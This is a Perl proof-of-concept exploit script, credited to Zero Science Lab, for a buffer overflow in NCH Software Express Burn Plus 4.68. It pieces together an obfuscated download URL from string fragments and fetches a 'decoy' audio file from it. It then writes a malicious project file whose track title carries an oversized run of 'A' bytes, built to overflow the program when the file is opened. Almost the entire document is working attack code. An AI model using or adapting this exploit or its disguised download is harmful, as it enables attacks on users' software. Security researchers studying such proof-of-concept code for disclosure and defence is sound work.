NCH Software Express Burn Plus 4.68缓冲区溢出漏洞

use Cwd; use LWP::Simple; print "\n #=---===---===---===---===---===---===---===---=# | | | Proof Of Concept script for | | | | NCH Software Express Burn Plus v4.68 | | | | | | ID: ZSL-2014-5166 | | | | --- | | | | Copyleft (c) 2014 | | | | Zero Science Lab - http://www.zeroscience.mk | | | #=---===---===---===---===---===---===---===---=# \n"; $file = "Exploit2.EBP"; $zoom = substr(")aZh4/",3,1).substr("^7ttr",2,2).substr("p>eErZ",0,1). substr("7U:/.9",2,2).substr("v/!+T",1,1).substr("oL4z55",3,1). substr("erY3%",0,2).substr("8oscW1",1,3).substr("iLien@",2,3). substr("*hJ2ce",4,2).substr("6.#h1A",1,1).substr("mk-((",0,2). substr(">/cZo",1,2).substr("[Mood]4",3,2).substr("lesS?",1,2). substr("a*\@J/b",4,2).substr("lue8X",0,3).substr("fish6",0,4). substr(",,8Y.b",4,1).substr("GrUmp!",3,2).substr("1337:",2,1); print "\n\n\x20\x20\x1A Creating malicious project file...\n\n"; $decoy = "440Hz.mp3"; getstore($zoom, $decoy); print "\x20\x20\x1A Throwing decoy file: $decoy...\n"; $buffer = "\x41\x41\x41\x41" x (15000/2); $dir = getcwd; $dir =~ s/\//\\/g; $load = "<?xml version=\"1.0\"?>\<ExpressBurnProject type=\"0\"><Alb". "umTitle/><TrackList><Audiotrack file=\"$dir\\$decoy\" title". "=\"$buffer\" artist=\"Salvador\"/></TrackList>\r</ExpressBu". "rnProject>\r"; open fp, ">./$file" || die "\n[-] Can't open $file: $!\n\n"; print fp $load; close fp; print "\n\x20\x20\x19 File created successfully: $file "; $file = -s $file; print "($file bytes)\n\n\n";